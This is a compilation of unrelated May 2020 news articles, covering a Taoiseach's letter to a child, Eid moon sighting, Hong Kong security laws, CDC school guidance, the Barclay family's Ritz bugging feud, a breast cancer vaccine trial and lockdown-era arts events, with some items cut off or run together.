In her letter she referred to a fall Maurice had and how she wished she could give him a hug.

Mr Varadkar empathised with Gemma, saying he knows that she, like many children across Ireland, are missing their friends and grandparents at this difficult time.

He said it was very important that all children need to help take care of their families by staying apart from cocooning grandparents.

Mr Varadkar also asked Gemma to pass on his best wishes to Maurice and Joanie and for her to say hello from him to her sister Katelyn and brother Cillian.

Gemma's mother Susie said: 'She was delighted. Gemma is very, very close to her grandparents. Her Grandad fell and she couldn't give him a hug or get close to him. Then she sent the letter off and I told her not to expect anything, not to give her false hope.'

When Gemma collected the post on Wednesday she got a huge surprise. 'She screamed and as she read it the first thing that stood out was her Grandad's name and the fact he put her brother and sister's names in it. She has a new found appreciation for the Taoiseach, that's for sure.'

The letter will be framed and put on the wall at the Doyle household as soon as Bailey's Picture Gallery & Craft Shop reopens in New Ross, Susie added.
Eid-ul-Fitr is celebrated by Muslims across the world and the date for the festival is likely to be announced on Friday (May 22, 2020) night. Saudi Arabia Supreme Court has urged Muslims throughout the country to sight and report the crescent moon.

It said: "Whoever sights the moon with naked eyes or through binoculars, report to the nearest court and register testimony, or report to an authority of a region's centre in the area."

The moon is likely to be sighted on Friday evening. The new moon would signify the start of the month of Shawwal and end of the month of Ramadan 2020 (Ramzan), as per the Islamic lunar calendar.

If the new moon is spotted on Friday, Eid will be on Saturday. If the moon is not observed, then Eid-ul-Fitr will be celebrated the following day on Sunday.

Eid-ul-Fitr is the festival of breaking the fast, it begins on the first day of the new Islamic month, Shawwal, and is celebrated for up to three days depending on the country.

Eid holiday will begin on Ramadan 29 that is Friday but Shawwal 3 will either fall on Tuesday or Wednesday, depending on whether Ramadan is made up of 29 or 30 days this year.

Though astronomers from Abu Dhabi's International Astronomical Centre said Eid-ul-Fitr would likely fall on May 24. As spotting the new moon would be impossible due to the setting of the moon before the sun.

The Islamic or Hijri calendar is determined by moon cycles, which are either 29 or 30 days long. The presence of a new moon signals the start of a new month.

The sighting of the moon on Friday will decide if Ramadan will last 29 or 30 days.
China is to propose national security laws for Hong Kong in response to last year's often violent pro-democracy protests which plunged the city into its deepest turmoil since it returned to Chinese rule in 1997.

The 'South China Morning Post', citing unnamed sources, said the laws would ban secession, foreign interference, terrorism and all seditious activities aimed at toppling the central government and any external interference in the former British colony.

The legislation, which could be introduced as a motion to China's parliament, could be a turning point for its freest and most international city, potentially triggering a revision of its special status in Washington and sparking more unrest.

Online posts have already urged people to gather to protest and dozens were seen shouting pro-democracy slogans in a shopping mall as riot police stood nearby.

Hong Kong people took to the streets last year, sometimes in their millions, to protest a now-withdrawn bill which would have allowed extraditions of criminal suspects to mainland China.

The movement broadened to include demands for broader democracy amid perceptions Beijing was tightening its grip over the city.

"If Beijing passes the law how will civil society resist repressive laws? How much impact will it unleash onto Hong Kong as an international financial centre?" said Ming Sing, a political scientist at Hong Kong University.

The technical details of the proposals remain unclear but an announcement was to be made in Beijing, a senior Hong Kong government source said.

China's parliament, the National People's Congress, is due to begin its annual session today after being delayed for months by the coronavirus.

A previous attempt by Hong Kong to introduce national security legislation in 2003 was met with mass peaceful protests and shelved.
Citys maximum temperature crossed the 40 degrees Celsius mark on Friday, touching 41.9 degrees, four notches above normal.

According to the India Meteorological Department (IMD), the mercury will continue to rise further in the coming days.

Speaking about the jump, scientist at IMD Chandigarh, Shivinder Singh, said, Earlier North-Westerly winds from Pakistan and Kashmir were blowing in the region, keeping it cool. But, now winds from Rajasthan had made their way to the city, causing a considerable increase in the temperature. It will rise by another 1-2 degrees in the next few days.

Singh added that the dry spell was likely to continue in the region, which will contribute to the rise in temperature. Cyclone Amphan, though far from the north, drew in winds from across the region and drained out the moisture. This has led to heat waves in some parts of India.

Heat wave in plains is declared when the maximum temperature goes over 45 degrees or is 4.5 degrees above normal.

Fridays maximum temperature at 41.9 degrees was 2.2 degrees more than Thursdays 39.7 degrees. The minimum temperature also went up from 21.8 degrees to 22.1 degrees, one degree below normal. In the next three days, the day temperature will remain between 42 and 43 degrees, while the minimum temperature will be around 24 degrees.
While this weeks weather is not expected to be as extreme as the storm last year that cut power to millions and led to hundreds of deaths, experts still have their eyes on the weak link of the states energy system.
The core meaning of pilgrimage, for me, is going on a physical journey to catalyse an inward exploration. The intention matters as much as the travel itself, if not more.

What is needed on the way is a readiness to discover new maps of longing and desire, old pathways to resilience and wisdom, and fellow travellers who come and go. The Covid-19 pandemic brings us an opportunity to dive into what pilgrimage involves apart from deciding on a place, creating an itinerary, booking tickets, and sorting out the accommodation. How does it expand our notions of time and space? What does it ...
As part of our #LockdownLessons series, Bizcommunity is reaching out to South Africa's top industry players to share their experience of the current Covid-19 crisis, how their organisations are navigating these unusual times, where the challenges and opportunities lie and their industry outlook for the near future.

Lauren Shantall, Scout PR & Social Media director.

What was your initial response to the crisis/lockdown and has your experience of it been different to what you expected?

Comment on the impact of the Covid-19 pandemic on your company or economy as a whole.

How is your company responding to the crisis?

Comment on the challenges and opportunities.

How are you navigating physical distancing while keeping your team close-knit and aligned and your clients happy?

Has this global crisis changed your view of the future of the industry in any way?

Any trends youve seen emerge as a result of the crisis?

Your key message to those in the industry?

Here at Scout, we would like to practice generosity and camaraderie within the communications space. We are happy to share our ideas and learnings or contribute opinions or views to other agencies and practitioners. Anything that can assist anyone through this time. We invite our colleagues to reach out should they feel our insights will be of value to them.

What do you predict the next six months will be like?

Even firmer establishment of e-commerce.

The normalisation of online learning.

A deeper appreciation of resources.

Careful consideration of household and corporate spend.

Commitment to conscious brands that are purpose-led.

Personal and spiritual re-evaluation.

Committed attempts to mitigate against the mass poverty.

Recalibration of the risk management and insurance industries.

More empathetic banking (ok, maybe this one's wishful thinking).

Milestone closures of industry titans.

Nouveau opportunism as small businesses eke out a living.

A new generation spawned thanks to pandemic pregnancies and children who, although they grow up in a world much altered, may choose to relegate this crisis to obscurity, the way the devastation caused by Spanish Flu was subsumed by the man-made devastation of World War I.

Lauren Shantall, Scout PR and Social Media director, shares her lockdown lessons and how Scout is navigating the lockdown in stages by keeping hope alive and preparing for the new normal.Personally, I did not have any expectations, not in the Buddhist vein of avoiding disappointment by evading expectation, but rather because one does not know what to expect from the unknown. The South African government has been modelling some of its responses on how other countries have approached the pandemic, so it is possible to plot some of the passage of the pandemic here by looking at examples from elsewhere. Sadly, I did expect the government to move more rapidly to restore the economy, but e-commerce has thankfully now lifted and Level 3 appears in sight.In terms of Scout's business response, we have moved into a period of high agility in terms of response time and turnaround. We had to revise all messaging in terms of tone and what was and what was not allowed under lockdown regulations.As part of Scout's client base is in the travel, tourism and hospitality industries, many of those clients have had to place our contracts on pause. This has obviously affected our income, staff and morale. Despite the blow to our business, we feel more for those clients in particular as their income has flatlined and it appears as though they will be the last permitted to return to trade. I am particularly proud of the team at Scout. We voted to all take pay cuts across the board, including at director level, rather than retrench anyone, and I believe this spirit of solidarity and support will not only get us through the crunch but is the kind of selfless, communal attitude that will aid in restoring our greater economy.Currently, we continue to work remotely. We are digitally-forward in terms of our internal organisation (and many of our services), and pre-lockdown all of our systems were online. We have thus had no negative impact due to working from home. In fact, we are thinking of surrendering our office space, as it has become redundant and we could use the money for Capex or to upskill our staff, or donate it to charity.Well, I believe we are inundated with running commentary on the challenges. I recently did a podcast on how to communicate in a crisis, which will be useful for anyone who wants tips on how to overcome them. In terms of new opportunities, we are responding to new wants. Clients who are taking services and product offerings online, and how best to communicate them in the aftermath of massive print collapses (Caxton, Associated).This is not an issue for us. We are all working remotely and client meetings and journalist interactions are all electronic and virtual.For the last 10 years, we have understood that the future of communications will sit in the digital and social media spheres and the crisis has accelerated this inevitability.Yes, the predominance of video communicationwebinars, live Insta interviews and so onthat allow for connection with motion and emotional dimension.I see:
A vaccine that could stop breast cancer returning for a second time is set to be tested by Australian scientists.

The vaccine works by triggering the patient's immune system to recognise cancer cells and destroy them before they spread.

The treatment will not prevent cancer in the first instance but could be given to patients who have been diagnosed to stop the illness returning.

The treatment will be tested using the patient's own cancer cells and in combination with immunotherapy drugs to see if either of these methods enhance the vaccine.

Dr Roberta Mazzieri, a University of Queensland professor, has been awarded a grant from the National Breast Cancer Foundation of Australia to test vaccines for triple negative and brain-metastatic breast cancer in mice, News Corp reported.

Married at First Sight's Ryan Gallagher (pictured with his mother) has said he is a big supporter of the foundation after seeing his own mother battle with cancer since he was a child

Dr Mazzieri said the revolutionary treatment would provide the immune system with information to detect the normally hidden cancer cells.

'The project is exploring what is the best information to provide to the immune system and the best way to deliver that information,' she said.

The National Breast Cancer Foundation has recently awarded $10milion in research grants to 16 promising treatments including the vaccine.

Married at First Sight's Ryan Gallagher has said he is a big supporter of the foundation after seeing his own mother battle with cancer that has returned more than once since he was a child.

'I don't want to see another five-year-old kid have to go through that in the future and no mother should have to watch their five-year-old kid go through it either,' he said.

Brisbane mother and nurse Karen Allen had a similar experience when she was diagnosed with breast cancer in 2000 at 33-years-old with two toddlers.

'A vaccine would be amazing because more and more we are seeing younger women with triple negative cancer detected... anything we can do is amazing,' she said.
Source: Xinhua| 2020-05-22 16:03:02|Editor: huaxia

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HEFEI, May 22 (Xinhua) -- Exchanging garbage for daily goods? This seemingly impossible concept has become a reality in more than 170 special supermarkets in the city of Huangshan, east China's Anhui Province.

According to the promotion's regulations, people can earn one reward point by collecting five spent batteries or 30 cigarette cases and two points can be exchanged for a bag of salt and four points for a bottle of detergent.

Since its establishment, Yu Zhujin has frequented one of these supermarkets in Qiankou Village, lured by the prospect of receiving free items at first. "But gradually, it has become a habit. Seeing litter outside, I naturally pick it up, not just for the sake of a reward," said Yu, 66.

The supermarkets set up to mobilize the public participation in environmental protection are part of a cross-provincial eco-compensation scheme aiming to improve the water environment in east China.

About two km away from Yu's house stands the Fengle River, a tributary of the Xin'an River that runs through Anhui and Zhejiang provinces, where environmentally unfriendly behaviors a decade ago caused serious deterioration of the water quality.

With the trunk stream stretching for about 360 km, Xin'an serves as a crucial ecological protective screen and water resource for the Yangtze River Delta, an area spanning Shanghai and the provinces of Jiangsu, Zhejiang and Anhui.

In flood season, hundreds of thousands of tonnes of garbage floated all the way along Xin'an to downstream basins including Qiandao Lake in Zhejiang, resulting in an abnormal bloom of blue-green algae in the lake in 2010.

"To jointly address water quality concerns in the Xin'an River basin, a pilot cross-provincial ecological compensation scheme was introduced by Anhui and Zhejiang," said Bi Mengfei, head of the Xin'an River ecological protection center.

In the first three-year phase, an eco-compensation fund totaling 500 million yuan (about 70.3 million U.S. dollars) was allocated with the support of the central government and the two provincial governments.

Under the scheme, the water quality is subjected to periodic assessments at the interprovincial section. If the water quality meets agreed standards, Zhejiang should compensate Anhui to defray the ecological protection cost. Otherwise, Anhui should compensate Zhejiang to pay for additional water treatment costs.

The protection of the water environment, however, inevitably limited industrial development around the river.

According to Bi, the city of Huangshan has shut down more than 180 companies and relocated over 110 industrial enterprises since 2011, investing 6 billion yuan to build an eco-industrial park. Also, 16 teams with several hundred people were formed to clean up the garbage in the waterways.

The unremitting efforts have gradually paid off, with upstream water quality at the Xin'an River registering the best quality from 2012 to 2018, sending nearly 7 billion cubic meters of clean water to Qiandao Lake every year.

The third three-year phase is set to end later this year. Except for witnessing a clean river running east, local people have also been sharing the benefits brought by sustainable development.

In recent years, Huangshan has promoted the development of green industries and ecotourism. The total income of tourism last year reached 65.9 billion yuan, a year-on-year growth of 15 percent.

Not far from the Xin'an River, Donghong Village has become a hit online due to its natural environment and the preservation of ancient features. "I was once a pig farmer and then a migrant worker, just able to make ends meet. But last year, we earned 2 million yuan by running a farmhouse," said Jin Yigen, a resident of Donghong. Enditem
Hollywood star John Krasinski has struck a deal with ViacomCBS to license his popular digital series "Some Good News".

As per the deal, the series format and short-form content will appear across a number of Viacom andCBSproperties, reported Variety.

The show, which Krasinski hosted on YouTube, is "dedicated entirely to good news".

The actor shot the series from his home where he was locked up with his family due to the COVID-19 pandemic.

The series, consisting of eight episodes, debuted on March 29 and has amassed 2.6 million subscribers to the channel till date.

While Krasinski will continue to be involved as an executive producer, he will not host the new episodes. However, he will have some sort of on-air presence.

"Could not be more excited and proud to be partnering with CBS-Viacom to be able to bring 'Some Good News' to so many more people. From the first episode, our goal was to create a show dedicated entirely to good

"Never did I expect to be joining the ranks of such a historic organisation as CBS," the 40-year-old actor said in a statement.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
A teacher and student in a private school in France on May 12.

Stephane Mahe/Reuters

On May 19, the Centers for Disease Control and Prevention released new guidelines for reopening schools.

A meme circulating social media pans them as excessive and impractical but mischaracterizes some of what the CDC laid out.

The considerations include encouraging people who are sick to stay home, emphasizing handwashing, and seating students at least 6 feet apart if possible.

Visit Business Insider's homepage for more stories.

The Centers for Disease Control and Prevention recently released guidelines for schools and childcare centers as some make plans to reopen.

The recommendations include keeping kids and teachers who are sick home, staggering drop-offs, and creating small groups of students who closely interact with only each other.

But the guidance was panned in a widely shared meme on social media, which paints the recommendations as excessively strict and impractical.

However, in many instances, the meme doesn't accurately reflect what the CDC's considerations  which are just that, not mandates  say.

"Schools can determine, in collaboration with state and local health officials to the extent possible, whether and how to implement these considerations while adjusting to meet the unique needs and circumstances of the local community," the CDC guidelines say. "Implementation should be guided by what is feasible, practical, acceptable, and tailored to the needs of each community."

Here's some of what the document encourages school administrators, parents, and teachers to consider. For the full guidance, visit the CDC's website.

Encourage staff and kids to stay home if they're sick or have come into close contact with someone who is by implementing flexible leave policies and ditching attendance awards.

Enforce good hygiene, like handwashing for at least 20 seconds, using hand sanitizer in the absence of soap and water, and sneezing into a tissue that's subsequently tossed.

Support mask wearing among older kids and staff members, especially when physical distancing isn't possible.

Clean high-touch surfaces at least daily if possible, and share toys or supplies only if they can be cleaned between uses.

Modify room layouts, like by spacing desks 6 feet apart and keeping all kids facing in the same direction rather than toward one other.

Install partitions in places where keeping a 6-foot distance is difficult, like at reception desks and between sinks.

Close cafeterias and playgrounds or stagger their use and disinfect in between uses.

Have kids bring their own food or serve individually plated or bagged meals  as always, if feasible.

Try to keep the same small group of kids with the same staff.

Stagger drop-off and pickup times if possible.

Story continues

While it seems children are less susceptible to COVID-19 and less likely to be hospitalized, they may be asymptomatic carriers of disease.

"Each infected child infects two to three other children a week, who then infect their parents and grandparents," Jorn Klein, an associate professor in microbiology and infection prevention at the University of South-Eastern Norway, told Reuters. "From a pure infection prevention perspective, it does not make sense to keep the schools and kindergartens open."

In France, 70 new cases of the coronavirus were recently reported after the country opened some preschools and elementary schools, even with social distancing in place.

Read the original article on Business Insider
Investors in distressed mortgages buy them at a discount and seek ways to spin money out of the soured loans. They can take over the property  by either foreclosing or persuading the borrower to simply walk away  and sell it. Or they can modify the loan to make it possible for the borrower to start paying. Goldman has repackaged some of the modified loans into mortgage securities it has sold to investors.

Although Goldman began buying those loans under the auspices of a program intended to help struggling borrowers, public policy critics and homeowner advocates say the bank is getting credit for performing much like any other distressed-mortgage investor.

Jim Baker, executive director of the Private Equity Stakeholder Project, an advocacy group, contends that the bank should be doing more, considering it is being penalized.

One would assume that if Goldmans main purpose is to satisfy the settlement, their numbers would be better than their peers, Mr. Baker said. They do not look much worse, but not much better, either.

In the niche market for buying distressed loans or foreclosed homes, Goldman is second in foreclosures over the past four years to the combined affiliates of Lone Star Funds, a Dallas private equity firm, according to an analysis compiled by Attom Data, a real estate information firm.

In a statement, Goldman said it had foreclosed on 10 percent fewer mortgages than other investors that had bought mortgages from Fannie and Freddie. And the bank said it had avoided foreclosure on 29 percent of the mortgages it acquired  roughly two percentage points better than the outcomes achieved by those other investors.

More than a third of the settlements $5 billion value is rolled up in the consumer relief provision. The bank earns credit toward its obligation for actions like reducing what borrowers owe, modifying loans so they can start paying again or letting them walk away with no further obligation to pay.
Syracuse, N.Y.  Every day, a group of nine local leaders meets online to talk about which businesses should be allowed to reopen, how they should do it, and when.

Theyre making critical decisions that will impact the lives and livelihoods of hundreds of thousands of people. And theyre doing it behind closed doors.

The Central New York Regional Control Group has been tasked with shaping the states rules for reopening the shuttered economy. Its members  most of whom are elected officials  have not responded to multiple requests by syracuse.com for access to their meetings or, at the very least, minutes summarizing the decisions being weighed and made.

The CNY group met for the first time on Saturday, May 9, to discuss its role and take care of organizational business. Gov. Andrew Cuomo publicly announced the group and its counterparts in nine other regions across the state that Monday, May 11. The group has met daily since then.

Cuomo described the regional control groups as the first step in shifting power back to the local level during the restart. The group is tasked with monitoring the areas coronavirus cases and testing rates and shaping policies for reopening segments of the economy.

This is going to be a shift, Cuomo said at the time. This reopening phase is locally driven, regionally driven and regionally designed.

This week, for example, the group hammered out a plan that would let churches gradually reopen before phase four. Theyre offering that plan to the state, arguing local churches can reopen ahead of the states timeline.

Wednesday, Onondaga County Executive Ryan McMahon said the group discussed plans for reopening gyms. Gyms are currently a part of phase four of Cuomos four-phase restart. But McMahon said the control group is weighing whether a personal trainer could operate one-on-one with a client in an otherwise empty gym.

McMahon has become the de facto spokesman for the group as he fields questions at his daily live-streamed press conferences. Tuesday, he said the group was asking the state for guidance about allowing reporters to attend the meetings.

Kristin ONeill, assistant director for the states Committee on Open Government, said her agency decided the groups are not subject to the states open meetings law, which permits public access to government bodies. The group does not have policy-making power or the authority to spend money, she said.

They dont meet the legal definition of a public body, ONeill said. They were created through the governors direction, not by executive order.

According to the states open meetings law, a public body is defined as:

Any entity, for which a quorum is required in order to conduct public business and which consists of two or more members, performing a governmental function for the state or for an agency or department thereof..."

Michael Higgins is the staff attorney at the Civil Rights and Transparency Clinic at the University of Buffalo School of Law. He said legal precedent would suggest the group isnt subject to the open meetings law. But its hard to be sure, since the groups official authority isnt clear.

As far as the legal question, I dont think its 100% clear that they are or arent subject [to the open meetings law], Higgins said. If I were going to bet on how a court would come out, I would bet against it."

The question, he said, is whether the group performs a government function. Thats often defined by things like the power to spend money or enact policy.

Gov. Cuomo has said the group will act as a shutoff valve to slow down the economic restart if the virus begins to spread out of control. But hes also said it will be up to local governments to enact and enforce those policies.

If the group does, in fact, have the power to shut off parts of the economy, its meetings should be open, Higgins said.

As far as a moral question, Higgins added, I think they should be operating as if theyre subject to the open meetings law. Theyre directing hugely important broad orders that impact every facet of our life."

The intent of the open meetings law is to keep government transparent and obedient to the people it serves. From the law:

It is essential to the maintenance of a democratic society that the public business be performed in an open and public manner and that the citizens of this state be fully aware of and able to observe the performance of public officials and attend and listen to the deliberations and decisions that go into the making of public policy. The people must be able to remain informed if they are to retain control over those who are their public servants...

In several court cases, judges have decided that advisory groups arent subject to the open meetings law, though reports they file to the state are public documents. In a 1981 case in Syracuse, however, a judge ruled that an advisory group convened by the mayor should be subject to the open meetings law, since the mayor acted on every one of the groups recommendations.

Similar multi-governmental bodies with appointed members meet in the public eye, like the Syracuse Regional Airport Authority, the Onondaga County Industrial Development Agency, the Regional Economic Development Council and the Citizen Review Board. They offer a meeting schedule and post agendas and minutes online. During the shutdown, most government bodies have been meeting virtually and providing web links to the media and the public to ensure access.

Most members of the control group are elected officials. That includes McMahon, Syracuse Mayor Ben Walsh, Oswego County Chair James Weatherup, Cortland County Chair Paul Heider, Cayuga County Chair Aileen McNabb-Coleman and Madison County Chair John Becker.

The groups chairman is Matt Driscoll, a former Syracuse mayor who is currently executive director of the NYS Thruway Authority  a position to which he was appointed by Gov. Cuomo.

The remaining members are labor leaders: Randy Wolken, president of the Manufacturers Association of CNY and Ann Marie Taliercio, president of the CNY Labor Federation.

MORE ON CORONAVIRUS

Coronavirus in NY: Cases, maps, charts and resources

Can store owners require you to wear a face mask to enter?

No in-person summer school in NY; too early for decision on fall, Cuomo says

Ask Syracuse.com: When can we visit the parents? When will the DMV, gyms reopen?

Complete coronavirus coverage on syracuse.com
With online shopping increasing amid COVID-19 or is clamping down on fake and misleading reviews on popular shopping websites.

The Competition and Markets Authority said Friday its probing several major websites to see if they are doing enough to protect shoppers. It will examine how these sites detect, investigate and respond to suspicious reviews.

So far, the CMA has not singled any companies out and isnt alleging that any website has acted illegally. The watchdog said it may resort to legal action if online platforms dont do whats required to protect consumers.

With consumers stuck at home amid the coronavirus pandemic, retail websites have been the go-to for most products. Amazon.com Inc. has seen a spike in sales since lockdowns began and has had to hire 175,000 people to cope with demand. Last year it responded to criticism by changing how it displays feedback by prioritizing ratings from customers rather than reviews.

Amazon said in an emailed statement its happy to assist the CMA with its inquiries.

Customer trust has always been at the heart of our approach and we want to ensure you can shop with confidence knowing that reviews are authentic and relevant, it said. We welcome the fact that the CMA shares our view on the importance of robust mechanisms to tackle attempted abuse of customer reviews.

eBay Inc. said its committed to co-operating with the CMA on any investigation to tackle fake reviews.

Instagram commitments

The CMAs probe comes the same day it secured commitments from Facebook Inc.-owned Instagram to tackle the risk that users can buy and sell fake reviews through the social media platform. Instagram has committed to providing more robust systems to detect and remove such material, the regulator said. Facebook and eBay have also previously assured the regulator it would put measures in place to tackle the issue.

During lockdown, were more dependent than ever on online shopping, so its really important that the online reviews we read are genuine opinions, said Andrea Coscelli, chief executive officer of the CMA.

Read more about:
Coronation Street star Kym Marsh has praised NHS staff after they save her life and the lives of three of her family members.

The soap star, 43 said that in recent years they've cared for her dad David after he suffered two heart attacks, along with daughter Polly and son David, who were both born prematurely.

Kym went onto praise NHS staff for also helping her through a particularly difficult time, following the death of her son Archie in 2009.

Important: Coronation Street star Kym Marsh has praised NHS staff after they saved the lives of three of her family members

Kym told Manchester Evening News: 'The NHS saved my dad's life, they saved my daughter's life, they saved my son's life, and they saved my life, I am forever in their debt.'

The actress explained that over the years her dad, now 75, has survived two heart attacks with the help of NHS staff.

She added that both her son David, 25, and daughter Polly, nine, were born prematurely and needed extra care from hospital staff.

Challenges: The soap star said they've cared for her dad David after he suffered two heart attacks, along with daughter Polly and son David (pictured), who were both born prematurely

Kym went onto reveal that she credits medical staff with saving her life following the tragic death of her son Archie.

She added: 'They are the reason that I am here alive today. They got me through the most horrendous experience of my life when my son Archie passed away just minutes after being born in February 2009.

'Even when the doctors and nurses knew there wasn't any hope of saving his life they never stopped giving their all to care for me, both physically and mentally.'

Struggles: Kym went onto reveal that she credits NHS staff with saving her life following the tragic death of her son Archie

It came as Kym prepared to join forces with her former Coronation Street co-star Catherine Tyldesley to host an online pub quiz to raise funds for NHS charities.

Kym also recently reunited with her soldier boyfriend Scott Ratcliff, 31, after he spent seven months abroad due to his military service.

The actress shared a smitten snap with her Army Major beau as the pair toasted Scott's return with a glass of champagne on their first 'date night'.

Kym captioned the snap: 'Finally having a date night with my man! 7 months apart but it's amazing to see how our relationship has grown despite the distance.

'In these difficult times make time for each other. Grab the dinner or a drink together. Love each other. Appreciate each other. Let's all do these things and we will all emerge stronger.'

The pair's reunion was a sweet moment after Scott's return from his Afghanistan tour was delayed due to coronavirus. He made a short return to the UK in January.
The nephews of billionaire property magnate Sir Frederick Barclay have broken their silence on their bitter feud and accused their uncle of 'causing distress' and damaging the family's business interests.

In a rare public statement underlining the acrimonious civil war dividing the Barclays, Aidan and Howard Barclay, sons of Sir Frederick's twin brother Sir David, said the billionaire had made 'consistent, misleading and damaging briefing to the media' and threatened to sue him for damaging the family's reputation.

In Friday's statement, through Ellerman, the company behind the Barclay family's assets, Aidan and Howard said: 'Sir Frederick's conduct relating to The Ritz sale process has been particularly concerning. 'Despite having no relevant legal interest or involvement, Sir Frederick has used the media to issue unwarranted threats of legal action which risked disrupting the process.

Billionaire media mogul Sir Frederick Barclay (right) was secretly recorded by his identical twin brother Sir David's son who had bugged the conservatory of The Ritz hotel, a court has heard

'It is simply untrue that any bidder made any formal offer for The Ritz of anything close to 1.3 billion. 'Had there been such an offer, we would have been delighted to accept it.

'But in the unanimous opinion of the independent advisers who ran the process, the successful bid was the best and most deliverable offer on the table.'

However, Sir Frederick denied the claims and said: 'I find this statement baffling. My nephew Aidan persuaded me to find buyers for the Ritz Hotel.'

The statement said they had intended to 'resolve our differences with Sir Frederick' in private, but felt they were left with little choice.

It said: 'We have, until now, resisted making public statements to the media regarding them (Sir Frederick and his daughter Amanda) and the legal proceedings.

'However, due to the consistent, misleading and damaging briefing to the media against us and our family businesses by Sir Frederick, we feel it is necessary to set the record straight.'

They said they would 'actively pursue our options for recourse against Sir Frederick'.

The nephews have also hit back at their uncle's claims that when they sold the iconic Ritz hotel to a Qatari buyer for between 700 and 750million in March it was for 'half the market price'.

In a rare public statement underlining the acrimonious civil war dividing the Barclays, Howard (pictured left) and Aidan Barclay, (pictured right) sons of Sir Frederick's twin brother Sir David, hit back at the claims they sold the iconic London hotel to a Qatari buyer in March for 'half the market price'

It is the latest episode in an increasingly bitter dispute engulfing the fractious family, which has seen Sir Frederick launch a High Court battle against his brother's sons, Aidan, Howard and Alistair, over secret recordings allegedly made at London's Ritz hotel.

Earlier this week, Sir Frederick, 85, released a video which he said showed his nephew Alistair handling a bug placed in the conservatory of The Ritz which he said was part of a 'deliberate and premeditated invasion' of his privacy.

Sir Frederick and daughter Amanda, 42, are suing the three brothers, along with Aidan's son Andrew and Philip Peters, who's a director of a number of family companies, after the 'elaborate system of covert recording' over 94 hours' worth, made over a number of months, came to light in January.

Sir Frederick and his daughter Amanda, above, are suing Alistair, Aidan and Howard Barclay, Aidan's son Andrew and Philip Peters

At a High Court hearing earlier in May, the pair's lawyers also claimed that The Ritz had been sold for 'half the market price' after conversations between Sir Frederick and a Saudi investor, who was offering 1.3 billion for the London landmark, were secretly recorded.

Hefin Rees QC, representing Sir Frederick and Amanda said the defendants heard 'Sir Frederick's conversations with Sidra Capital, which at the time had made an initial offer of some 1.3 billion for the acquisition of the Ritz hotel.'

He added: 'Despite this, the defendants sold the Ritz hotel to another buyer from Qatar at a price that appears to be for half the market price. One is left to speculate why.'

At the start of May, Mr Rees submitted that material previously disclosed to his clients 'reveals beyond doubt that the defendants derived significant financial and commercial advantage from the unlawful use of the recordings'.

He added that they were made at a time 'when there were significant ongoing commercial disputes between the parties concerning, among other things, the sale of the Ritz hotel, the financial performance and management of the group, (Amanda Barclay's) continuing financial interests in the group, and Sir Frederick's divorce proceedings'.

The footage, which was released on Monday morning, appears to show Sir Frederick's nephew Alistair just after 11pm on January 13 this year handling a listening device, which is said to have been used to capture more than 1,000 separate conversations.

In a statement, Sir Frederick said: 'I do not want anyone else to go through the awful experience of having their personal and private conversations listened to by scores of strangers.

Sir Frederick Barclay and his daughter Amanda claim a bugging device was played at the Ritz hotel in London

'It is surely in everyone's interests for the law to be changed to prevent people, outside the authorities, using sophisticated spying devices that have such an intrusive impact.'

He added: 'I am putting this video evidence forward as a graphic demonstration of how easy it is to spy on people in public places and to help bring about legislation to prevent such damaging intrusion.'

Sir David and Sir Frederick made the family fortune investing at the outset in London properties and then in retail, shipping and hotels, including The Ritz. The family's main investments today include the Telegraph newspapers and Very, the online retailer.

Sir Frederick said: 'I find this statement baffling. My nephew Aidan persuaded me to find buyers for the Ritz Hotel.

'This I did, getting not one but two substantial offers of more than 1 billion. Aidan will also be aware that there is correspondence which confirms this and documentary evidence of the 1.3 billion offer.

'This includes Aidans signature giving exclusivity to the 1.3 billion offer.

'We too would have liked to have resolved this in the family. Sadly, the appalling tactic of spying on fellow family members have complicated matters considerably.

Regrettably, this statement issued on behalf of my nephews is inaccurate, inept and ill-informed.'
On April 15, United Precision Products brought its 41 employees to the company parking lot at staggered intervals. They stayed in their cars while spitting into vials with bar codes that keep the results confidential. Those vials were sent to DxTerity, a private Los Angeles testing firm, and a day or two later, the results were in: Two employees tested strongly positive for the coronavirus  one who had been sick earlier and one who was asymptomatic and knew nothing of the infection. Four others got more mildly positive results. Those six were sent home to call their doctors.
Ireland Performs, kicked into live action last week with a wealth of Irish artists who shared their talent with global audiences from their homes across Ireland.

Leitrims Eleanor Shanley, who features as part of Ireland Performs on Sunday, 24 at 12.30pm is just one among the wide and hugely talented selection of artists who range from Irelands finest traditional, classical and indie rock musicians to writers and visual artists.

There will be a number of live performances every day which will continue for weeks and include special features. Audiences can now tune into their choice of whats online and offstage.

Audiences are promised intimate sessions with musicians including Mick Flannery, Cormac Begley, Aoife Scott, Alan Kelly, John Spillane, Grainne Hambly and William Jackson, Aindrias de Staic, Sharon Shannon, Slow Moving Clouds, Ailbhe Reddy, Junior Brother, Somebodys Child, Diane Cannon, Moncrieff, Gerry OConnor, Leonard Barry and Dr Fionnuala Moynihan, along with poet Kimberly Reyes, and writer Ruairi McKiernan.

Eleanor Shanley told the Leitrim Observer "Being part of Culture Irelands Ireland Performs is a blessing for me in many ways. I miss my concerts. I miss the interaction with audiences. This is an opportunity to communicate with an audience again and on the internet this is a global audience. Although it is online, I am looking forward to doing a gig!!

"All my home concerts have been cancelled as have my foreign tours for the foreseeable future. However, on Sunday at 12.30 I am looking forward to connecting again with the great people Ive met along the way. I was looking forward to our concert with The Leitrim Percy French Society in The Cornmill Theatre in Carrigallen but it was not to be. Also, St Johns Church in Mohill.

"However, I have no doubt that those, and many more gigs, will be rescheduled. It is a difficult time for people in the music industry, as it is for most people. We just have to be patient and hope for a release from lockdown - but only when it is safe to do so.

The lockdown has given me the time to focus on various projects. Im in the final stages of recording an album with Classical Guitar Player John Feeley.

I am busy working online with 'Garadice' towards a new album and a project with Stocktons Wings Mike Hanrahan. And, after many years, Ive returned to painting which I love and can keep me occupied for hours on end.

I live in Ballinasloe now and it is very strange not being able to drive over to Leitrim whenever I feel like it. I miss my Lovely Leitrim and the first trip I will take when this passes is 'home' to Keshcarrigan. I look forward to having an almighty sing-song with family and friends like weve always done.

I have great admiration for the people who are on the frontline, our shop assistants, postal workers, gardai, care workers and hospital workers at every level.

These are the people dealing with the threat of Covid-19 every day. My heart goes out to those people who have lost loved ones at this time and did not have the opportunity to say goodbye and to the people who are dying alone.

This is not the Ireland we are used to, being a nation who have always celebrated life and death. Thanks to Culture Ireland, who have, in my experience, always been very supportive of Irish artists. I am grateful to them for giving me the opportunity on May 24 at 12.30 to sing for all of you.

